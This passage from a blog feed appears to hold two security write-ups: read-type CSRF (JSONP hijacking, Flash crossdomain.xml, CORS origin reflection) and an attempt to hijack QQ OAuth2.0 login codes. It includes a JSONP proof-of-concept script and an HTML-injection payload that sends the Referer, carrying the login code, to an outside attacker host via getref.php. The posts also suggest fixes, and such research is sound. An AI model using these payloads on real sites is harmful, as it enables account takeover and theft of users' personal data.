id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>\u6700\u8fd1\u5728\u6316\u6d1e\uff0c\u201d\u5b9e\u8df5\u51fa\u771f\u77e5\u201d\u8fd9\u53e5\u8bdd\u8bf4\u7684\u5f88\u5bf9\uff0c\u5728\u5b9e\u9645\u6316\u6398\u8fc7\u7a0b\u4e2d\u6211\u4f1a\u601d\u8003\u5f88\u591a\u4e1c\u897f\uff0c\u8ddf\u670b\u53cb\u4e00\u8d77\u51c6\u5907\u505a\u4e00\u4efd\u624b\u518c\uff0c\u5ffd\u7136\u7684\u60f3\u5230\u4e86\u4e00\u4e9b\u6f0f\u6d1e\u7684\u5b9a\u4e49\u548c\u89c4\u8303\u3002\n\u5728\u5927\u591a\u6570\u7684\u4eba\u773c\u91ccCSRF\u53ef\u80fd\u4ec5\u4ec5\u662f<strong>\u5199\u5165\u578b<\/strong>\u7684\u6bd4\u5982\uff1a\u4fee\u6539\u4e2a\u4eba\u8d44\u6599\u3001\u6388\u6743\u767b\u9646\u7b49\u7b49\u529f\u80fd\u573a\u666f\u7684CSRF\u95ee\u9898\uff0c\u540c\u65f6\u5bf9CSRF\u8fd9\u7c7b\u95ee\u9898\u8fdb\u884c\u4e86\u5371\u5bb3\u7b49\u7ea7\u5212\u5206\uff0c\u5c31\u50cf\u5982\u4e0a\u4e24\u4e2a\u4f8b\u5b50\uff0c\u53ef\u4ee5\u5212\u5206\u4e3a\u4e2d\u5371\u548c\u9ad8\u5371\u3002\u4e5f\u8bb8\u662f\u56e0\u4e3a\u4ea4\u4e92\u5f0f\u7684\u6f0f\u6d1e\u5e76\u6ca1\u6709SQLi\u8fd9\u79cd\u76f4\u63a5\u80fd\u5229\u7528\u7684\u6f0f\u6d1e\u5371\u5bb3\u9ad8\uff0c\u6240\u4ee5\u4e00\u4e9b\u5382\u5546\u5bf9CSRF\u4e5f\u5e76\u4e0d\u91cd\u89c6\u3002<\/p>\n\n<p>\u6b65\u5165\u6b63\u9898\uff0c\u4ec0\u4e48\u662f\u8bfb\u53d6\u578bCSRF\uff0c\u8fd9\u91cc\u6211\u5bf9\u5982\u4e0b\u7684\u6f0f\u6d1e\u5f52\u7eb3\u8fdb\u4e86\u8bfb\u53d6\u578bCSRF\uff0c\u56e0\u4e3a\u8fd9\u4e9b\u6f0f\u6d1e\u7684\u5229\u7528\u624b\u6cd5\u90fd\u8ddfCSRF\u662f\u4e00\u6837\u7684\uff1a<\/p>\n\n<ul>\n  <li>JSONP\u52ab\u6301<\/li>\n  <li>Flash\u8de8\u57df\u52ab\u6301<\/li>\n  <li>CORS\u8de8\u57df\u8d44\u6e90\u8bfb\u53d6<\/li>\n<\/ul>\n\n<p>\u2026\u7b49\u7b49\uff0c\u5f53\u7136\u8fd8\u6709Silverlight\u8de8\u57df\u8fd9\u4e9b\u4e86\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u53ea\u5217\u4e3e\u5e38\u89c1\u7684\u4e09\u79cd\u6765\u8bb2\u89e3\u3002<\/p>\n\n<h1 id=\"\u8bfb\u53d6\u578bcsrf\">\u8bfb\u53d6\u578bCSRF<\/h1>\n\n<p>\u63a5\u4e0b\u4ee5\u5982\u4e0a\u6240\u8bf4\u7684\u4e09\u4e2a\u6f0f\u6d1e\u6848\u4f8b\u6765\u4e00\u4e2a\u4e2a\u5206\u6790\u3002<\/p>\n\n<h2 id=\"jsonp\u52ab\u6301\">JSONP\u52ab\u6301<\/h2>\n\n<h3 id=\"\u6f0f\u6d1e\u6848\u4f8b\">\u6f0f\u6d1e\u6848\u4f8b<\/h3>\n\n<p>\u8fd9\u91cc\u6765\u770b\u4e00\u6761\u8bf7\u6c42\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-03-22\/0x00.png\" alt=\"jsonp hijacking\" \/><\/p>\n\n<p>\u8fd9\u6761\u8bf7\u6c42\u8fd4\u56de\u7684\u7ed3\u679c\u4e2d\u6709\u624b\u673a\u53f7\uff08\u8fd9\u91cc\u6211\u6d4b\u8bd5\u7684\u8d26\u53f7\u6ca1\u7ed1\u5b9a\u624b\u673a\uff09\uff0c\u5982\u679c\u6211\u4eec\u60f3\u8981\u4ee5CSRF\u4ea4\u4e92\u5f0f\u653b\u51fb\u7684\u65b9\u5f0f\u83b7\u53d6\u8fd9\u4e2a\u624b\u673a\u53f7\u8be5\u600e\u4e48\u529e\uff1f<\/p>\n\n<p>\u6765\u770b\u770b\u8fd9\u6761\u8bf7\u6c42\u6709callback\uff0c\u800c\u8fd4\u56de\u7ed3\u679c\u662f\u4e0d\u662f\u7c7b\u4f3cJavascript\u4e2d\u7684\u51fd\u6570\uff1f<\/p>\n\n<p>Javascript\u539f\u51fd\u6570\u5b9a\u4e49\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">function funName(){}\n<\/code><\/pre>\n\n<p>\u8fd9\u91cc\u662f\u7f3a\u5c11\u4e86\u51fd\u6570\u5b9a\u4e49\u7684\u5173\u952e\u8bcd<code>function<\/code>\u548c\u82b1\u62ec\u53f7\u7684\u51fd\u6570\u4e3b\u4f53\u90e8\u5206\uff0c\u53ea\u6709\u51fd\u6570\u540d\u548c\u51fd\u6570\u4f20\u53c2\uff0c\u806a\u660e\u4eba\u5df2\u7ecf\u60f3\u5230\u4e86\uff0c\u8fd9\u4e0d\u5c31\u76f8\u5f53\u4e8e\u662f\u81ea\u5b9a\u4e49\u51fd\u6570\u88ab\u5f15\u7528\u4e86\u4e48\uff0c\u800c\u4e2d\u95f4\u90a3\u6bb5\u4f20\u53c2\u5c31\u76f8\u5f53\u4e8e\u662f\u4e00\u4e2a\u6570\u7ec4\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5148\u7528JS\u81ea\u5b9a\u4e49\u597d\u8fd9\u4e2a\u51fd\u6570\uff0c\u7136\u540e\u518d\u5f15\u7528\u8fd9\u4e2a\u8bf7\u6c42\uff0c\u81ea\u7136\u5c31\u53ef\u4ee5\u83b7\u53d6\u5230\u6570\u636e\u4e86\u3002<\/p>\n\n<p>\u8fd9\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u6765\u6784\u5efa\u4e00\u4e0bPoC\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;!-- \u5f15\u7528\u4e00\u6bb5\u5982\u4e0a\u8bf7\u6c42\u4e3aJS --&gt;\n&lt;script&gt;function jsonp2(data){alert(JSON.stringify(data));}&lt;\/script&gt;\n&lt;script src=\"http:\/\/gh0st.cn\/user\/center?callback=jsonp2\"&gt;&lt;\/script&gt;\n<\/code><\/pre>\n\n<p>\u4f7f\u7528\u6b63\u5e38\u7684\u8d26\u53f7(\u7ed1\u5b9a\u8fc7\u624b\u673a\u53f7)\u6765\u6d4b\u8bd5\u4e0b\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-03-22\/0x01.png\" alt=\"jsonp hijacking\" \/><\/p>\n\n<h3 id=\"\u6848\u4f8b\u603b\u7ed3\">\u6848\u4f8b\u603b\u7ed3<\/h3>\n\n<p>\u5176\u5b9e\u901a\u8fc7\u8fd9\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u53ef\u4ee5\u77e5\u9053HTML\u6807\u7b7e<code>&lt;script&gt;<\/code>\u5728\u4e00\u5b9a\u7684\u60c5\u51b5\u4e0b\u662f\u53ef\u4ee5\u8de8\u57df\u8bfb\u53d6\u7684\u3002<\/p>\n\n<p>\u5bf9\u6b64\u6f0f\u6d1e\u7684\u4fee\u590d\u6709\u5f88\u591a\uff1a<\/p>\n\n<p>1.\u6253\u4e71\u54cd\u5e94\u4e3b\u4f53\u5185\u5bb9<\/p>\n\n<p>2.Referer\u7b49\u8fdb\u884c\u9650\u5236<\/p>\n\n<p>\u2026..\u7b49\u7b49<\/p>\n\n<h2 id=\"flash\u8de8\u57df\u52ab\u6301\">Flash\u8de8\u57df\u52ab\u6301<\/h2>\n\n<p>Flash\u8de8\u57df\u6bd4\u8f83\u7ecf\u5178\u4e86\uff0c\u5728\u505aweb\u76ee\u5f55\u8d44\u4ea7\u6574\u7406\u7684\u65f6\u5019\u6709\u65f6\u5019\u4f1a\u53d1\u73b0\u8fd9\u6837\u7684\u6587\u4ef6 <strong>crossdomain.xml<\/strong> \uff0c\u6587\u4ef6\u5185\u5bb9\u5982\u679c\u662f\u5982\u4e0b\u7684\uff0c\u90a3\u4e48\u5c31\u5b58\u5728Flash\u8de8\u57df\u95ee\u9898\uff0c\u5982\u4e0b\u5185\u5bb9\u7684\u610f\u601d\u662f\u652f\u6301\u6240\u6709\u57df\uff1a<\/p>\n\n<pre><code class=\"language-xml\">&lt;?xml version=\"1.0\"?&gt;\n&lt;cross-domain-policy&gt;\n  &lt;allow-access-from domain=\"*\" \/&gt;\n&lt;\/cross-domain-policy&gt;\n<\/code><\/pre>\n\n<p>\u4e3a\u4ec0\u4e48\u4f1a\u5982\u6b64\uff1f\u5177\u4f53\u6d41\u7a0b\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n\n<p>gh0st.cn \u6709\u4e00\u4e2aSWF\u6587\u4ef6\uff0c\u8fd9\u4e2a\u6587\u4ef6\u662f\u60f3\u8981\u83b7\u53d6 vulkey.cn \u7684 userinfo \u7684\u8fd4\u56de\u54cd\u5e94\u4e3b\u4f53\uff0cSWF\u9996\u5148\u4f1a\u770b\u5728 vulkey.cn \u7684\u670d\u52a1\u5668\u76ee\u5f55\u4e0b\u6709\u6ca1\u6709 <strong>crossdomain.xml<\/strong> \u6587\u4ef6\uff0c\u5982\u679c\u6ca1\u6709\u5c31\u4f1a\u8bbf\u95ee\u4e0d\u6210\u529f\uff0c\u5982\u679c\u6709 <strong>crossdomain.xml<\/strong> \uff0c\u5219\u4f1a\u770b<strong>crossdomain.xml<\/strong> \u6587\u4ef6\u7684\u5185\u5bb9\u91cc\u9762\u662f\u5426\u8bbe\u7f6e\u4e86\u5141\u8bb8 gh0st.cn \u57df\u8bbf\u95ee\uff0c\u5982\u679c\u8bbe\u7f6e\u5141\u8bb8\u4e86\uff0c\u90a3\u4e48 gh0st.cn \u7684SWF\u6587\u4ef6\u5c31\u53ef\u4ee5\u6210\u529f\u83b7\u53d6\u5230\u5185\u5bb9\u3002\u6240\u4ee5\u8981\u4f7fFlash\u53ef\u4ee5\u8de8\u57df\u4f20\u8f93\u6570\u636e\uff0c\u5176\u5173\u952e\u5c31\u662f<strong>crossdomain.xml<\/strong> \u6587\u4ef6\u3002<\/p>\n\n<p>\u5f53\u4f60\u53d1\u73b0 <strong>crossdomain.xml<\/strong> \u6587\u4ef6\u7684\u5185\u5bb9\u4e3a\u6211\u5982\u4e0a\u6240\u793a\u7684\u5185\u5bb9\uff0c\u90a3\u4e48\u5c31\u662f\u5b58\u5728Flash\u8de8\u57df\u52ab\u6301\u7684\u3002<\/p>\n\n<h3 id=\"\u6f0f\u6d1e\u6848\u4f8b-1\">\u6f0f\u6d1e\u6848\u4f8b<\/h3>\n\n<p>\u5728\u5bf9\u4e00\u4e2a\u5382\u5546\u8fdb\u884c\u6d4b\u8bd5\u7684\u65f6\u5019\u6b63\u597d\u53d1\u73b0\u4e86\u8fd9\u6837\u7684\u6587\u4ef6\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-03-22\/0x02.png\" alt=\"flash hijacking\" \/><\/p>\n\n<p>\u5728\u8fd9\u91cc\u6211\u9700\u8981\u505a\u4e24\u4ef6\u4e8b\uff1a<\/p>\n\n<p>1.\u627e\u5230\u4e00\u4e2a\u80fd\u83b7\u53d6\u654f\u611f\u4fe1\u606f\u7684\u63a5\u53e3<\/p>\n\n<p>2.\u6784\u5efaPoC<\/p>\n\n<p>\u5728\u8fd9\u91cc\u654f\u611f\u7684\u4fe1\u606f\u63a5\u53e3\u4ee5\u4e2a\u4eba\u4e2d\u5fc3\u4e3a\u4f8b\u5b50\uff0cPoC\u4f7f\u7528\u7684\u662f https:\/\/github.com\/nccgroup\/CrossSiteContentHijacking\/raw\/master\/ContentHijacking\/objects\/ContentHijacking.swf<\/p>\n\n<p><img src=\"\/images\/2018-03-22\/0x03.png\" alt=\"flash hijacking\" \/><\/p>\n\n<h3 id=\"\u6848\u4f8b\u603b\u7ed3-1\">\u6848\u4f8b\u603b\u7ed3<\/h3>\n\n<p>\u5f88\u7b80\u5355\u7684\u4e00\u4e2a\u4e1c\u897f\uff0c\u4f46\u662f\u7528\u5904\u5374\u5f88\u5927\uff0c\u5176\u5229\u7528\u65b9\u6cd5\u8ddfCSRF\u4e5f\u662f\u4e00\u6837\u7684\uff0c\u53ea\u9700\u8981\u4fee\u6539\u4e0bPoC\u5c31\u884c\u3002<\/p>\n\n<p>\u4fee\u590d\u65b9\u6848\u540c\u6837\u4e5f\u5f88\u7b80\u5355\uff0c\u9488\u5bf9<code>&lt;allow-access-from domain=\"*\" \/&gt;<\/code>\u7684domain\u8fdb\u884c\u8c03\u6574\u5373\u53ef\u3002<\/p>\n\n<h2 id=\"cors\u8de8\u57df\u8d44\u6e90\u8bfb\u53d6\">CORS\u8de8\u57df\u8d44\u6e90\u8bfb\u53d6<\/h2>\n\n<h3 id=\"\u6f0f\u6d1e\u6848\u4f8b-2\">\u6f0f\u6d1e\u6848\u4f8b<\/h3>\n\n<p><img src=\"\/images\/2018-03-22\/0x04.png\" alt=\"CORS\" \/><\/p>\n\n<p>\u5982\u4e0a\u56fe\u4e2d\u6211\u5728\u8bf7\u6c42\u7684\u65f6\u5019\u52a0\u4e0a\u4e86\u8bf7\u6c42\u5934 <code>Origin: http:\/\/gh0st.cn<\/code>\uff0c\u800c\u5bf9\u5e94\u7684\u54cd\u5e94\u5305\u4e2d\u51fa\u73b0\u4e86<code>Access-Control-Allow-Origin: http:\/\/gh0st.cn<\/code>\u8fd9\u4e2a\u54cd\u5e94\u5934\u5176\u5b9e\u5c31\u662f\u8bbf\u95ee\u63a7\u5236\u5141\u8bb8\uff0c\u5728\u8fd9\u91cc\u662f\u5141\u8bb8http:\/\/gh0st.cn\u7684\u8bf7\u6c42\u7684\uff0c\u6240\u4ee5http:\/\/gh0st.cn\u662f\u53ef\u4ee5\u8de8\u57df\u8bfb\u53d6\u6b64\u7f51\u5740\u7684\u5185\u5bb9\u7684~\u5728\u8fd9\u91cc\u6211\u4ecb\u7ecd\u4e0b<code>Origin<\/code>\uff1a<\/p>\n\n<p><code>Origin<\/code>\u548c<code>Referer<\/code>\u5f88\u76f8\u4f3c\uff0c\u5c31\u662f\u5c06\u5f53\u524d\u7684\u8bf7\u6c42\u53c2\u6570\u5220\u9664\uff0c\u4ec5\u5269\u4e0b<strong>\u4e09\u5143\u7ec4\uff08\u534f\u8bae \u4e3b\u673a \u7aef\u53e3\uff09<\/strong>\uff0c\u6807\u51c6\u7684\u6d4f\u89c8\u5668\uff0c\u4f1a\u5728\u6bcf\u6b21\u8bf7\u6c42\u4e2d\u90fd\u5e26\u4e0a<code>Origin<\/code>\uff0c\u81f3\u5c11\u5728\u8de8\u57df\u64cd\u4f5c\u65f6\u80af\u5b9a\u643a\u5e26\uff08\u4f8b\u5982ajax\u7684\u64cd\u4f5c\uff09\u3002<\/p>\n\n<p>\u6240\u4ee5\u8981\u6d4b\u8bd5\u662f\u5426\u5b58\u5728CORS\u8fd9\u4e2a\u95ee\u9898\u5c31\u53ef\u4ee5\u53c2\u8003\u6211\u4e0a\u9762\u7684\u64cd\u4f5c\u624b\u6cd5\u4e86\u3002<\/p>\n\n<p>\u600e\u4e48\u5229\u7528\u5462\uff1f\u5728\u8fd9\u91cc\u6211\u4f7f\u7528\u4e86github\u4e0a\u7684\u5f00\u6e90\u9879\u76ee:https:\/\/github.com\/nccgroup\/CrossSiteContentHijacking\uff0creadme.md\u4e2d\u6709\u5177\u4f53\u7684\u8bf4\u660e\uff0c\u8fd9\u91cc\u6211\u5c31\u4e0d\u4e00\u4e00\u8bb2\u89e3\u4e86\uff0c\u90a3\u4e48\u5df2\u7ecf\u786e\u8ba4\u95ee\u9898\u4e86\uff0c\u90a3\u5c31\u9700\u8981\u8fdb\u4e00\u6b65\u7684\u9a8c\u8bc1\u3002<\/p>\n\n<p>\u5728\u8fd9\u91cc\u6211\u627e\u5230\u4e86\u4e00\u5904\u63a5\u53e3\uff0c\u5176\u54cd\u5e94\u4e3b\u4f53\u5185\u5bb9\u662f\u83b7\u53d6\u7528\u6237\u7684\u771f\u5b9e\u59d3\u540d\u3001\u8eab\u4efd\u8bc1\u3001\u624b\u673a\u53f7\u7b49\u5185\u5bb9\uff1a<\/p>\n\n<p>\/daren\/author\/query \uff08\u8981\u6ce8\u610f\u7684\u662f\u8fd9\u4e2a\u8bf7\u6c42\u5728\u6293\u53d6\u7684\u65f6\u5019\u662fPOST\u8bf7\u6c42\u65b9\u5f0f\uff0c\u4f46\u5e76\u6ca1\u6709\u8bf7\u6c42\u6b63\u6587\uff0c\u7ecf\u8fc7\u6d4b\u8bd5\u8bf7\u6c42\u6b63\u6587\u4e3a\u4efb\u610f\u5185\u5bb9\u5373\u53ef\uff09<\/p>\n\n<p>\u54cd\u5e94\u62a5\u6587\u6b63\u6587\u5185\u5bb9\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-03-22\/0x05.png\" alt=\"CORS\" \/><\/p>\n\n<p>\u8fd9\u91ccCrossSiteContentHijacking\u9879\u76ee\u6211\u642d\u5efa\u5728\u4e86\u672c\u5730(127.0.0.1) http:\/\/127.0.0.1\/CrossSiteContentHijacking\/ContentHijackingLoader.html<\/p>\n\n<p>\u6839\u636e\u9879\u76ee\u6240\u8bf4\u7684\u64cd\u4f5c\u53bb\u8fdb\u884c\u53c2\u6570\u7684\u914d\u7f6e\uff0c\u7136\u540e\u70b9\u51fb Retrieve Contents \u6309\u94ae\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-03-22\/0x06.png\" alt=\"CORS\" \/><\/p>\n\n<p>\u6d4b\u8bd5\u5982\u4e0b\uff0c\u6d4b\u8bd5\u7ed3\u679c\u662f\u53ef\u4ee5\u8de8\u57df\u8bfb\u53d6\u7684\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-03-22\/0x07.png\" alt=\"CORS\" \/><\/p>\n\n<h3 id=\"\u6848\u4f8b\u603b\u7ed3-2\">\u6848\u4f8b\u603b\u7ed3<\/h3>\n\n<p>\u8fd9\u4e2a\u95ee\u9898\u5176\u5b9e\u5c31\u662f\u5bf9Origin\u7684\u9a8c\u8bc1\u6ca1\u6709\u63a7\u5236\u597d\uff0c\u5bf9\u5176\u8fdb\u884c\u52a0\u5f3a\u5373\u53ef\u3002<\/p>\n\n<h1 id=\"\u7ed3\u5c3e\">\u7ed3\u5c3e<\/h1>\n\n<p>\u7ed3\u5c3e\u60f3\u8bf4\u7684\u4e1c\u897f\u5176\u5b9e\u4e5f\u6ca1\u4ec0\u4e48\u4e86\uff0c\u603b\u7ed3\u4e86\u8fd9\u4e9b\u4e1c\u897f\u5e0c\u671b\u80fd\u5e2e\u52a9\u5230\u5404\u4f4d~<\/p>\n","pubDate":"2018-03-22T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-03-22\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-03-22\/1"},{"title":"OAuth2.0\u8ba4\u8bc1\u7f3a\u9677-\u7b2c\u4e09\u65b9\u5e10\u53f7\u5feb\u6377\u767b\u5f55\u6388\u6743\u52ab\u6301\u6f0f\u6d1e","description":"<h1 id=\"\u4ec0\u4e48\u662foauth20\"><strong>\u4ec0\u4e48\u662fOAuth2.0\uff1f<\/strong><\/h1>\n\n<blockquote>\n  <p>OAuth2.0\u662fOAuth\u534f\u8bae\u7684\u4e0b\u4e00\u7248\u672c\uff0c\u4f46\u4e0d\u5411\u540e\u517c\u5bb9OAuth 1.0\u5373\u5b8c\u5168\u5e9f\u6b62\u4e86OAuth1.0\u3002 OAuth 2.0\u5173\u6ce8\u5ba2\u6237\u7aef\u5f00\u53d1\u8005\u7684\u7b80\u6613\u6027\u3002\u8981\u4e48\u901a\u8fc7\u7ec4\u7ec7\u5728\u8d44\u6e90\u62e5\u6709\u8005\u548cHTTP\u670d\u52a1\u5546\u4e4b\u95f4\u7684\u88ab\u6279\u51c6\u7684\u4ea4\u4e92\u52a8\u4f5c\u4ee3\u8868\u7528\u6237\uff0c\u8981\u4e48\u5141\u8bb8\u7b2c\u4e09\u65b9\u5e94\u7528\u4ee3\u8868\u7528\u6237\u83b7\u5f97\u8bbf\u95ee\u7684\u6743\u9650\u3002\u540c\u65f6\u4e3aWeb\u5e94\u7528\uff0c\u684c\u9762\u5e94\u7528\u548c\u624b\u673a\uff0c\u548c\u8d77\u5c45\u5ba4\u8bbe\u5907\u63d0\u4f9b\u4e13\u95e8\u7684\u8ba4\u8bc1\u6d41\u7a0b\u30022012\u5e7410\u6708\uff0cOAuth 2.0\u534f\u8bae\u6b63\u5f0f\u53d1\u5e03\u4e3aRFC 6749 \u3002<\/p>\n<\/blockquote>\n\n<p><strong>RFC 6749 : https:\/\/tools.ietf.org\/html\/rfc6749<\/strong><\/p>\n\n<h1 id=\"qq-oauth20-\u6d41\u7a0b\u5206\u6790\u653b\u51fb\"><strong>QQ OAuth2.0 \u6d41\u7a0b\u5206\u6790&amp;\u653b\u51fb<\/strong><\/h1>\n\n<p>\u56fd\u5185\u7684\u5f88\u591a\u5382\u5546\u4f7f\u7528\u4e86OAuth2.0\u7684\u8ba4\u8bc1\u65b9\u5f0f\uff0c\u8fd9\u91cc\u4ee5QQ\u4e3a\u4f8b\u3002<\/p>\n\n<p><strong>QQ\u4e92\u8054 : https:\/\/connect.qq.com\/intro\/login<\/strong><\/p>\n\n<p>\u76f8\u4fe1\u5927\u5bb6\u5728\u5f88\u591a\u7f51\u7ad9\u4e0a\u90fd\u89c1\u8fc7\u5982\u4e0b\u7684\u767b\u9646\u754c\u9762\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-02-12\/0x00.jpg\" alt=\"img\" \/><\/p>\n\n<p>\u53ef\u4ee5\u770b\u89c1\u9664\u4e86\u5382\u5546\u672c\u8eab\u7f51\u7ad9\u7684\u8d26\u53f7\u4ee5\u5916\u8fd8\u6709QQ\u8ddf\u5fae\u4fe1\u8fd9\u4e24\u4e2a\u5feb\u6377\u767b\u9646\uff0c\u9996\u5148\u4ee5QQ\u7684\u5feb\u6377\u767b\u9646\u4e3a\u4f8b\u5b50\uff1a<\/p>\n\n<p>\u70b9\u51fbQQ\u56fe\u6807\u8fdb\u5165\u767b\u9646\u7684\u94fe\u63a5 -&gt; <strong>https:\/\/graph.qq.com\/oauth2.0\/show?which=Login&amp;display=pc&amp;response_type=code&amp;client_id=100273020&amp;redirect_uri=http:\/\/a.com\/?view=null&amp;uuid=65392bc3fc724fca8dcba23558f67ec8<\/strong><\/p>\n\n<p><img src=\"\/images\/2018-02-12\/0x01.jpg\" alt=\"img\" \/><\/p>\n\n<p>\u8fd9\u91cc\u56e0\u4e3a\u6211\u7684QQ\u662f\u5728\u7535\u8111\u4e0a\u5df2\u7ecf\u767b\u9646\u4e86\uff0c\u6240\u4ee5\u6211\u53ef\u4ee5\u76f4\u63a5\u8fdb\u884c\u767b\u9646\uff0c\u8fd9\u65f6\u5019\u8fdb\u884c\u6293\u5305\u622a\u53d6\u6574\u4e2a\u6d41\u7a0b\uff0c<\/p>\n\n<h1 id=\"\u5173\u952e\u6d41\u7a0b\u5206\u6790\"><strong>\u5173\u952e\u6d41\u7a0b\u5206\u6790<\/strong><\/h1>\n\n<p><strong>Request 1\uff1a<\/strong><\/p>\n\n<pre><code class=\"language-http\">POST \/oauth2.0\/authorize HTTP\/1.1\nHost: graph.qq.com\n<\/code><\/pre>\n\n<p><strong>1 Response\uff1a<\/strong><\/p>\n\n<pre><code class=\"language-http\">HTTP\/1.1 302 Moved Temporarily\nServer: tws\nDate: Fri, 09 Feb 2018 11:50:42 GMT\nContent-Type: text\/html\nContent-Length: 0\nConnection: keep-alive\nKeep-Alive: timeout=50\nContent-Encoding: gzip\nLocation: http:\/a.com\/?uuid=65392bc3fc724fca8dcba23558f67ec8&amp;code=120ED71CAECB11BAD538820E12B54664\n<\/code><\/pre>\n\n<p><strong>Request 2\uff1a<\/strong>(\u8fd9\u4e2a\u8bf7\u6c42\u8868\u793a\u6839\u636e\u53c2\u6570<strong>code<\/strong>\u7684\u503c\u8fdb\u884c\u4e2a\u4eba\u7528\u6237\u51ed\u8bc1\u751f\u6210)<\/p>\n\n<pre><code class=\"language-http\">GET \/?uuid=65392bc3fc724fca8dcba23558f67ec8&amp;code=120ED71CAECB11BAD538820E12B54664 HTTP\/1.1\nHost: a.com\n<\/code><\/pre>\n\n<p><strong>2 Response\uff1a<\/strong>\uff08setcookie\u8fd4\u56de\u7528\u6237\u51ed\u8bc1\uff09<\/p>\n\n<pre><code class=\"language-http\">HTTP\/1.1 302 Moved Temporarily\nContent-Length: 0\nConnection: close\nSet-Cookie: \u7528\u6237\u51ed\u8bc1\nLocation: https:\/\/www.a.com\/\nCache-Control: max-age=0\n<\/code><\/pre>\n\n<p>\u8fd9\u65f6\u5019\u6211\u4eec\u5c31\u53ef\u4ee5\u6ce8\u610f\u5230\u95ee\u9898\u4e86\uff0c\u8bf7\u6c421\u4ea7\u751f\u4e86\u4e00\u4e2a\u94fe\u63a5\uff0c\u5176\u5c31\u662fQQ\u767b\u9646\u7684\u5730\u5740\u4e2d\u7684\u53c2\u6570<strong>redirect_uri<\/strong>\u9644\u5e26\u4e0a<strong>\u53c2\u6570code\u7684\u503c<\/strong>\uff0c\u800c\u8fd9\u4e2a\u94fe\u63a5\u662f\u751f\u6210\u7528\u6237\u51ed\u8bc1\u7684\uff0c\u6240\u4ee5\u94fe\u63a5\u4e2d\u7684<strong>\u53c2\u6570code<\/strong>\u4e5f\u662f\u81f3\u5173\u91cd\u8981\u7684\uff0c\u770b\u5230\u8fd9\u91cc\u6211\u7684\u653b\u51fb\u601d\u8def\u5df2\u7ecf\u4ea7\u751f\u4e86\uff1a<\/p>\n\n<p>\u5047\u8bbeQQ\u767b\u9646\u7684\u5730\u5740\u4e2d\u7684\u53c2\u6570<strong>redirect_uri<\/strong>\u7684\u503c\u53ef\u4ee5\u4e3a\u6211\u7684\u7f51\u7ad9\uff0c\u90a3\u4e48\u53ea\u8981\u7528\u6237A\u70b9\u51fb\u6211\u5c31\u53ef\u4ee5\u6839\u636e\u7f51\u7ad9\u65e5\u5fd7\u8bbf\u95ee\u8bb0\u5f55\u83b7\u53d6\u53c2\u6570<strong>code<\/strong>\u7684\u503c\u518d\u6839\u636e\u8bf7\u6c422\u83b7\u53d6\u7528\u6237A\u5728 http:\/\/a.com \u7684\u8d26\u53f7\u6743\u9650\u3002<\/p>\n\n<p>\u7406\u60f3\u5f88\u597d\uff0c\u73b0\u5b9e\u6b8b\u9177\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-02-12\/0x02.jpg\" alt=\"img\" \/><\/p>\n\n<p>\u8fd9\u91ccQQ\u505a\u4e86\u9650\u5236\uff0c\u6211\u4e0d\u9700\u8981\u53bb\u5206\u6790QQ\u5173\u8054\u7684\u5168\u90e8\u6d41\u7a0b\u5c31\u80fd\u77e5\u9053\u8fd9\u91cc\u7684\u53c2\u6570client_id\uff0c\u5176\u5b9e\u5c31\u662f http:\/\/a.com \u7684QQ\u4e92\u8054\u7684\u670d\u52a1id\uff0c http:\/\/graph.qq.com \u6839\u636eclient_id\u83b7\u53d6 http:\/\/a.com \u7684\u8bbe\u7f6e\u5141\u8bb8\u7684\u53c2\u6570<strong>redirect_uri<\/strong>\u7684\u503c\u518d\u8ddf\u4f60\u8f93\u5165\u7684\u53c2\u6570<strong>redirect_uri<\/strong>\u7684\u503c\u8fdb\u884c\u6bd4\u8f83\u3002<\/p>\n\n<p>\u8fd9\u65f6\u5019\u6211\u53ea\u9700\u8981\u5bf9\u53c2\u6570<strong>redirect_uri<\/strong>\u8fdb\u884cFuzz\u5c31\u80fd\u77e5\u9053\u54ea\u4e9b\u8303\u56f4\u662f\u5141\u8bb8\u7684\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-02-12\/0x03.jpg\" alt=\"img\" \/><\/p>\n\n<p>http:\/\/a.com \u7684\u4e8c\u7ea7\u5b50\u57df\u540d\u53ef\u4ee5\u4e3a\u53c2\u6570<strong>redirect_uri<\/strong>\u7684\u503c\uff0c\u76ee\u524d\u6211\u9700\u8981\u89e3\u51b3\u7684\u5c31\u662f\u5982\u4f55\u6839\u636e http:\/\/a.com \u7684\u4e8c\u7ea7\u5b50\u57df\u540d\u83b7\u53d6\u5230code\u7684\u503c\uff1a<\/p>\n\n<h1 id=\"1\u6211\u6709\u4e00\u4e2ahtml\u6ce8\u5165\u6f0f\u6d1e\"><strong>1.\u6211\u6709\u4e00\u4e2aHTML\u6ce8\u5165\u6f0f\u6d1e<\/strong><\/h1>\n\n<p>\u6f0f\u6d1e\u5730\u5740\uff1a<code>http:\/\/1.a.com\/?xss=%3Cimg%20src=\"http:\/\/www.evilchen.cn\/getref.php\"%3E<\/code><\/p>\n\n<p>getref.php\u7684\u5185\u5bb9\u4e3a\u5982\u4e0bPHP\u4ee3\u7801\uff1a<\/p>\n\n<pre><code>&lt;?php\nfile_put_contents(\"ref.txt\", 